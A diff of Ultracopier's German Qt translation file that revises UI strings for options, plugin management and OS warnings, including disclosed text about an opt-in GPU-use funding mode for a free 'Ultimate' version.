+ <translation>Kann Log-Datei nicht öffnen. Fehler: %1</translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation>Warnung</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation>Nicht mehr anzeigen</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation>OK</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation>Das Ersetzen des Standard Kopier/Verschieben-Systems wird von diesem Datei-Manager nicht unterstützt.&lt;br /&gt;Bitten Sie die Entwickler darum es zu supporten. &lt;br /&gt;Sie müssen das Kopieren/Verschieben daher manuell durchführen.</translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
- <source>Unable to open file to keep the log file, error: %1</source>
- <translation>Datei konnte nicht geöffnet, um die Protokolldatei, Fehler zu halten: %1</translation>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation>System neustarten, Falls vorher ähnliche Software instaliert war (wie Teracopy, Supercopier oder ältere Version von Ultracopier).</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation>Das Ersetzen des Standard Kopier/Verschieben-Systems wird vom Mac OS X Finder nicht unterstützt und somit verhindert.&lt;br /&gt;Sie müssen das Kopieren/Verschieben daher manuell durchführen.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation>Das Ersetzen des Standard Kopier/Verschieben-Systems wird von diesem File-Manager nicht unterstützt.&lt;br /&gt;Bitten Sie die Entwickler darum es zu supporten. &lt;br /&gt;Sie müssen das Kopieren/Verschieben daher manuell durchführen.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation>Supercopier als veraltet betrachten, Ultracopier vorziehen</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation>Diese Version nutzt die GPU Ihrer Grafikkarte zu 100% (Kann beim Spielen stören) aber kostenloser Zugang zur Ultimate-Version. Alternativ downloaden Sie die Normal-Version (mit Werbe-Link), oder kaufen Sie die Ultimate-Version, um das Projekt zu unterstützen.</translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation>http://ultracopier.first-world.info/download.html</translation>
</message>
</context>
<context>
@@ -523,7 +689,7 @@ This version is compiled as version: %1.</source>
<message>
<location filename="../../../OptionDialog.ui" line="56"/>
<source>General</source>
- <translation>General</translation>
+ <translation>Allgemein</translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="61"/>
@@ -532,258 +698,323 @@ This version is compiled as version: %1.</source>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
- <translation>kopieren Motor</translation>
+ <translation>Kopier-Engine</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation>Themes</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation>Log</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
- <translation>Sprache:</translation>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation>Gruppieren der Fenster bestätigen</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
- <translation>Autodetect das System die Sprache aus:</translation>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation>Nach Updates suchen</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
- <translation>fangen Sie die kopie/move als Standard:</translation>
- </message>
- <message>
- <location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
- <translation>Legen Sie bei der Sitzung Beladung:</translation>
- </message>
- <message>
- <location filename="../../../OptionDialog.ui" line="265"/>
+ <location filename="../../../OptionDialog.ui" line="312"/>
<source>Name</source>
<translation>Name</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
+ <location filename="../../../OptionDialog.ui" line="317"/>
<source>Version</source>
<translation>Version</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
+ <location filename="../../../OptionDialog.ui" line="327"/>
<source>Language</source>
<translation>Sprache</translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
<source>Listener</source>
- <translation>Zuhörer</translation>
+ <translation>Listener</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
<source>Plugin loader</source>
<translation>Plugin loader</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
<source>Session loader</source>
<translation>Session loader</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="117"/>
+ <source>Force the language</source>
+ <translation>Sprache wählen</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="127"/>
+ <source>Replace the default copy and move system</source>
+ <translation>Standard Kopier- und Verschiebebefehl ersetzen</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="141"/>
+ <source>Load at the session loading</source>
+ <translation>Mit OS laden</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="155"/>
+ <source>When manual open</source>
+ <translation>Bei manuellem Start</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
+ <translation>Fenster gruppieren</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
+ <translation>OS Warnungen anzeigen</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
+ <translation>Der GPU Zeit geben, um die Entwicklung zu finanzieren</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation>Plugin</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation>Hinzufügen</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation>Entfernen</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation>Information</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
- <translation>Kopieren Motor von der Reihenfolge ihrer Präferenz:</translation>
+ <translation>Kopier-Engine in Reihenfolge ihrer Präferenz:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation>Client verbunden</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
- <translation>Themen:</translation>
+ <translation>Themes:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
- <translation>Unfähig, die Themen Plugin zu laden</translation>
+ <translation>Konnte das Themes-Plugin nicht laden</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
- <translation>Blättern</translation>
+ <translation>Durchsuchen</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation>Die Variablen sind %time%, %source%, %size%, %destination%</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation>Die Variablen sind %time%, %path%, %size%, %mtime%, %error%</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
- <translation>Schreiben Sie die Log-Datei in:</translation>
+ <translation>Log in folgende Datei schreiben:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
- <source>Write the transfers:</source>
- <translation>Schreiben Sie die Transfers:</translation>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
+ <translation>Schreibe direkt in die Datei, wenn ein neuer Eintrag erreicht wird (50% Leistungsverlust möglich)</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
- <source>Write the errors:</source>
- <translation>Schreiben Sie die Fehler:</translation>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
+ <translation>Laden</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
- <source>Write the folder operations:</source>
- <translation>Schreiben Sie die Ordner-Operationen:</translation>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
+ <translation>Theme laden?</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
- <source>Disabled because you have any SessionLoader plugin</source>
- <translation>Deaktiviert, weil Sie irgendein Plugin haben SessionLoader</translation>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
+ <translation>Sprache laden?</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <source>Disabled because you do not have any SessionLoader plugin</source>
+ <translation type="obsolete">Deaktiviert, da kein SessionLoader-Plugin installiert ist</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation>Nichts tun</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
- <translation>Stellen Sie als Quelle Ordner</translation>
+ <translation>Nach Quell-Ordner fragen</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
- <translation>Fragen Sie Quellen in Form von Dateien</translation>
+ <translation>Nach Quell-Datei fragen</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation>Nie</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
- <translation>Als Quelle ist dieselbe</translation>
+ <translation>Falls Quelle gleich ist</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
- <translation>Als Ziel ist dasselbe</translation>
+ <translation>Falls Ziel gleich ist</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
- <translation>Wenn Quell-und Ziel sind gleiche</translation>
+ <translation>Falls Quelle und Ziel gleich sind</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
- <translation>Als Quell-oder Ziel sind gleiche</translation>
+ <translation>Falls Quelle oder Ziel gleich sind</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation>Immer</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
- <translation>Protokolle speichern als: </translation>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
+ <translation>Die Variablen sind %1</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
- <translation>Diese schreiben Sie direkt die Datei, wenn es den neuen Eintrag zu erhalten, kann aber 50% der Erzeugung der Leistung verloren</translation>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
+ <translation>Anwendung zulassen</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
- <source>Synchronized log</source>
- <translation>Synchronisierte log</translation>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
+ <translation>Diese Ultimate-Gratis-Version läuft nur, wenn %1 von Ihrer Antivirus-Software erlaubt ist. Sonst benutzen Sie die Normalversion.</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
- <source>When manual open:</source>
- <translation>Beim manuellen offen:</translation>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
+ <translation>OpenCL einschalten</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
- <source>Group the windows when:</source>
- <translation>Gruppe das Fenster, wenn:</translation>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation>Diese Ultimate-Gratis-Version läuft nur, wenn mit Ihrem Grafik-Treiber OpenCL installiert wurde. Sonst benutzen Sie die Normalversion.</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation>Protokolle speichern als: </translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="731"/>
+ <source>Synchronized log</source>
+ <translation>Synchronisiertes Protokoll</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation>Keine Option für dieses Plugin</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation>Protokolliere Transfers:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation>Protokolliere Fehler:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation>Protokolliere Ordner-Operationen:</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
- <translation>Die Variablen sind %path%, %operation%</translation>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
+ <translation>Die Variablen sind %path% %operation%</translation>
</message>
</context>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
- <translation>Versuchen Sie bekommen variabel, aber die Variable wird nicht gefunden: %1 %2</translation>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
+ <translation>Variablen nicht gefunden: %1 %2</translation>
</message>
</context>
<context>
@@ -824,37 +1055,42 @@ This version is compiled as version: %1.</source>
<translation>Version:</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
- <translation type="unfinished"></translation>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
+ <translation>Kopier-Engine</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
- <translation type="unfinished"></translation>
+ <translation>Sprachen</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
- <translation type="unfinished">Zuhörer</translation>
+ <translation>Listener</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
- <translation type="unfinished"></translation>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
+ <translation>Plugin-Loader</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
- <translation type="unfinished"></translation>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
+ <translation>Session-Loader</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
- <translation type="unfinished">Themes</translation>
+ <translation>Themes</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation>Informationen über %1</translation>
</message>
@@ -872,190 +1108,191 @@ This version is compiled as version: %1.</source>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
- <translation>informations.xml kann nicht zugegriffen werden</translation>
- </message>
- <message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
- <source>informations.xml not found into the plugin</source>
- <translation>informations.xml nicht in das Plugin gefunden</translation>
+ <translation>Auf &quot;informations.xml&quot; kann nicht zugegriffen werden</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
- <translation>Abhängigkeiten Teil ist falsch</translation>
+ <translatorcomment>clumsy.</translatorcomment>
+ <translation>Abhängigkeiten-Teil ist falsch</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
- <translation>Abhängigkeiten %1 nicht erfüllt sind, für plugin:%2</translation>
+ <translation>Die Abhängigkeiten &quot;%1&quot; sind nicht erfüllt für Plugin:%2</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
- <translation>Entfernen %1</translation>
+ <translation>Entferne %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation>Fehler</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation>Information</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation>%1, Parser-Fehler in Zeile %2, Spalte %3: %4</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation>&quot;informations.xml&quot; für das Plugin nicht gefunden</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
- <translation>&quot;package&quot; Wurzel-Tag nicht für die XML-Datei gefunden</translation>
+ <translation>&quot;package&quot; Root-Tag für die XML-Datei nicht gefunden</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
- <translation>Duplizierte Plugin gefunden, bereits geladen!</translation>
+ <translation>Plugin-Duplikat gefunden. Bereits geladen!</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
- <source>English text missing into the informations.xml for the tag: %1</source>
- <translation>Englisch Text fehlt in den informations.xml für das Tag: %1</translation>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
+ <translation>Englischer Text fehlt in &quot;informations.xml&quot; für das Tag: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
- <translation>Tag nicht gefunden: %1</translation>
+ <translation>XML-Tag nicht gefunden: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
- <translation>Sind Sie sicher, über das Entfernen von &quot;%1&quot; in der Version %2?</translation>
+ <translation>Sind Sie sicher, dass Sie &quot;%1&quot; in der Version %2 entfernen wollen?</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
- <translation>Fehler beim Entfernen des Plugins, überprüfen Sie bitte die Rechte auf den Ordner:
+ <translation>Fehler beim Entfernen des Plugins. Überprüfen Sie bitte die Zugriffsrechte auf den Ordner:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
- <translation>Vorherige Import ist in Arbeit ...</translation>
+ <translation>Vorheriger Import wird durchgeführt...</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
- <translation>Offene Ultracopier Plugin</translation>
+ <translation>Ultracopier Plugin öffnen</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation>Ultracopier plugin (*.urc)</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
- <translation>Plugin loader</translation>
+ <translation>Plugin-Loader</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
- <translation>Kann das Plugin öffnen: %1</translation>
+ <translation>Kann das Plugin nicht öffnen: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
- <translation>Unfähig, die Plugin-Inhalte zu laden, bitte überprüfen Sie es: %1</translation>
+ <translation>Kann Plugin-Inhalte nicht laden. Bitte überprüfen Sie das: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
- <translation>Kann einen Ordner zu erstellen, um das Plugin zu installieren:
-%1</translation>
+ <translation>Kann keinen Ordner erstellen um das Plugin %1 zu installieren
+</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
- <translation>Kann eine Datei zu erstellen, um das Plugin zu installieren:
+ <translation>Kann eine Datei nicht erstellen um das Plugin zu installieren:
%1
seit: %2</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
- <translation>Ordner mit demselben Namen vorhanden ist, überspringen Sie die Plugin-Installation:
+ <translation>Ordner mit demselben Namen existiert bereits. Überspringen Sie die Plugin-Installation:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
